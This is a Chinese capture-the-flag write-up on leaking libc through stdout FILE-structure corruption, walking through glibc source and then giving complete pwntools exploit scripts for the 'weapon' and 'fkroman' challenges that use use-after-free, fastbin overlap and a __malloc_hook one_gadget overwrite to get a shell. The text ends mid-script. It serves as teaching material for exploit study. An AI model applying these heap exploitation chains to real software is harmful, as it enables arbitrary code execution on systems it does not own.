IO_FILE泄露libc

最近经常遇到没有show函数的堆了,吃了不少没有地址的亏,在这里记录一下泄露的方法

其实主要思路就是修改stdout的flag位为0xfbad1800,并且将_IO_write_base的最后一个字节改小,从而实现多输出一些内容,这些内容里面就包含了libc地址。

为什么flag要改成0xfbad1800,看源码:

puts函数在源码中是由_IO_puts实现的,而_IO_puts函数内部会调用_IO_sputn,结果会执行_IO_new_file_xsputn,最终会执行_IO_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int 
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{//避免进入
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL){
......//避免进入
......
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base); //进入目标
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}

可以看到_IO_do_write是最后调用的函数,而_IO_write_base是我们要修改的目标。

这里f->_flag & _IO_NO_WRITES的值应该为0,为了不进入第一个if分支

同时使f->_flag &_IO_CURRENTLY_PUTTING的值为1,为了不进入第二个if分支

_IO_do_write函数的参数为:stdout结构体、_IO_write_base和size(由f->_IO_write_ptr - f->_IO_write_base决定),而_IO_do_write实际会调用new_do_write,参数一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
...
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
// 调用函数输出输出缓冲区
count = _IO_SYSWRITE (fp, data, to_do); //最终输出
...

return count;
}

这里,_IO_SYSWRITE就是我们的目标,这相当于write(fp,data,to_do)

_IO_SYSSEEK只是简单的调用lseek,但是我们不能完全控制fp->_IO_write_base - fp->_IO_read_end的值,如果fp->_IO_read_end的值设置为0,那么_IO_SYSSEEK的第二个参数值就会过大,如果设置fp->_IO_write_base = fp->_IO_read_end的话,那么在其它地方就会有问题,因为fp->_IO_write_base 不能大于 fp->_IO_write_end。所以这里要设置fp->_flags | _IO_IS_APPENDING,避免进入else if 分支。

最终需要构造的fp-flags是这样的,才能绕过上面提到的分支。

1
2
3
4
_flags = 0xfbad0000 
_flags &= ~_IO_NO_WRITES ## _flags = 0xfbad0000
_flags |= _IO_CURRENTLY_PUTTING ## _flags = 0xfbad0800
_flags |= _IO_IS_APPENDING ## _flags = 0xfbad1800

所以通常将stdout的flags修改成0xfbad1800,将_IO_write_base改小,就可以造成libc的泄漏。

这里以De1CTF的weapon和数字经济云的 fkroman为例

weapon

程序保护全开,got不可写

1
2
3
4
1. create you weapon
2. delete you weapon
3. rename your weapon
choice >>

三个功能,没有show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 delete()
{
signed int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("input idx :");
v1 = sub_AAE();
if ( v1 < 0 && v1 > 9 )
{
printf("error");
exit(0);
}
free(*((void **)&unk_202060 + 2 * v1)); //UAF
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

delete中存在UAF漏洞

利用思路:

利用UAF申请到stdout结构体上面,修改flags泄漏libc,将malloc_hook覆盖成onegadget

为了方便调试这里先把asrl关了sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

接下来说一下我具体的做法,首先申请大小为0x70的chunk0,chunk1,chunk2,将chunk0,chunk1释放掉,此时fastbin:chunk1->chunk0自用UAF使得fastbin:chunk1->chunk0内部实现overlap为下一步修改地址做准备,比如我是:0x70: 0x555555757070 —▸ 0x555555757000 ◂— 0x0 –> 0x70: 0x555555757070 —▸ 0x555555757010 ◂— 0x0再将0x555555757010申请为chunk4,现在rename chunk4就可以修改chunk1的大小了。free chunk1,修改chunk1大小为0x90再次free chunk1,这个时候fastbin中的chunk1的fd和bk就会被写入一个main_arena+88

1
2
3
4
5
6
7
8
9
10
11
pwndbg> bins 
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757070 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757070 /* 'ppuUUU' */
0x80: 0x0
unsortedbin
all: 0x555555757070 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757070 /* 'ppuUUU' */

在stdout往上找到一个0x7f的位置充当size,将main_arena+88低2字节覆盖成25dd(5dd是固定的,但是2是随机的,1/16)

申请出来,修改flags和_IO_write_base低字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p _IO_2_1_stdout_
$2 = {
file = {
_flags = -72542208, //0xfbad1800
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x7ffff7dd2600 <_IO_2_1_stderr_+192> 'A' <repeats 32 times>, //低字节修改成了00
_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

得到libc后,就UAF将onegadget写入malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#coding:utf-8
from pwn import *
# context.log_level = 'debug'
local = 1
if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202060)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def msg(msg,addr):
log.warn(msg + "--> " + hex(addr))
def create(id,size,data,flag=0):
if flag:
sl('1')
else:
ru("choice >> \n")
sl('1')
ru("weapon: ")
sl(str(size))
ru("index: ")
sl(str(id))
if flag:
ru("name:")
else:
ru("name:\n")
sd(data)
def delete(id,flag=0):
if flag:
sl('2')
else:
ru(">> \n")
sl('2')
ru("idx :")
sl(str(id))
def rename(id,data,flag=0):
if flag:
sl('3')
else:
ru(">> \n")
sl('3')
ru("idx: ")
sl(str(id))
if flag:
ru("content:")
else:
ru("content:\n")
sd(data)
def getshell():
ru("choice >> ")
sl('1')
ru("weapon: ")
sl('32')
ru("index: ")
sl('0')
p.interactive()
def pwn():
create(0,0x60,p64(0) + p64(0x71))
create(1,0x60,p64(0) + p64(0x51))
create(2,0x60,p64(0)*3 + p64(0x51))
delete(0)
delete(1)

rename(1,'\x10')
create(3,0x60,'a')
# delete(1)

create(4,0x60,p64(0)*0xb + p64(0x71))
delete(1)

rename(4,p64(0)*0xb + p64(0x91))
delete(1)

rename(4,p64(0)*0xb + p64(0x71))#0x35dd
rename(1,'\xdd\x25')

create(5,0x60,'a')
# debug(0xc9b)
create(6,0x60,'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
# debug()
one = [0x45216,0x4526a,0xf02a4,0xf1147]
IO_stderr = u64(ru("\x7f")[-6:].ljust(8,'\x00'))-192
libc_base = IO_stderr - libc.symbols['_IO_2_1_stderr_']
onegadget = one[3] + libc_base
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fack_chunk = malloc_hook - 0x23
'''
msg("IO_stderr",IO_stderr)
msg("libc_base",libc_base)
msg("malloc_hook",malloc_hook)
msg("fack_chunk",fack_chunk)
msg("onegadget",onegadget)
'''
create(7,0x60,'a',1)
delete(7,1)
rename(7,p64(fack_chunk),1)
create(7,0x60,'a',1)
create(8,0x60,'b'*0x13 + p64(onegadget),1)
getshell()
# debug()
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
p = process('./pwn')
continue
# pwn()

fkroman

程序同样保护全开,没有show功能

漏洞:UAF,任意长度堆溢出

利用思路一样,先攻击stdout泄漏libc,再将onegadget写入malloc_hook

只不过这题更简单,堆溢出直接改size不用overlap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#coding:utf-8
from pwn import *
# context.log_level = 'debug'
local = 1
if local:
p = process('./fkroman')
elf = ELF('./fkroman')
libc = elf.libc
else:
p = remote("121.40.246.48","9999")
# elf = ELF('./')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x4060)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def alloc(id,size):
ru("choice: ")
sl('1')
ru("Index: ")
sl(str(id))
ru("Size: ")
sl(str(size))
def free(id):
ru("choice: ")
sl('3')
ru("Index: ")
sl(str(id))
def edit(id,size,data):
ru("choice: ")
sl('4')
ru("Index: ")
sl(str(id))
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(data)
def getshell():
ru("choice: ")
sl('1')
ru("Index: ")
sl('0')
ru("Size: ")
sl('32')
p.interactive()
def msg(msg,addr):
log.warn(msg + "-->" + hex(addr))
def pwn():
alloc(0,0x20)
alloc(1,0x60)
alloc(2,0x60)
pay = p64(0)*3 + p64(0x51)
edit(2,len(pay),pay)
free(1)
edit(0,0x30,p64(0)*5 + p64(0x91))
free(1)
edit(1,2,'\xdd\x25')
edit(0,0x30,p64(0)*5 + p64(0x71))
alloc(0,0x60)
alloc(1,0x60)
pay = 0x33*'A' + p64(0xfbad1800) + p64(0)*3 + '\x00'
edit(1,len(pay),pay)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
stderr = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 192
libc_base = stderr - libc.symbols['_IO_2_1_stderr_']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fack_chunk = malloc_hook - 0x23
onegadget = one[3] + libc_base
'''
msg("stderr",stderr)
msg("libc_base",libc_base)
msg("malloc_hook",malloc_hook)
msg("fack_chunk",fack_chunk)
msg("onegadget",onegadget)
'''
alloc(0,0x60)
free(0)
edit(0,8,p64(fack_chunk))
alloc(0,0x60)
alloc(1,0x60)
pay = 0x13*'A' + p64(onegadget)
edit(1,len(pay),pay)
getshell()
# debug()
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
p = process('./fkroman')
0%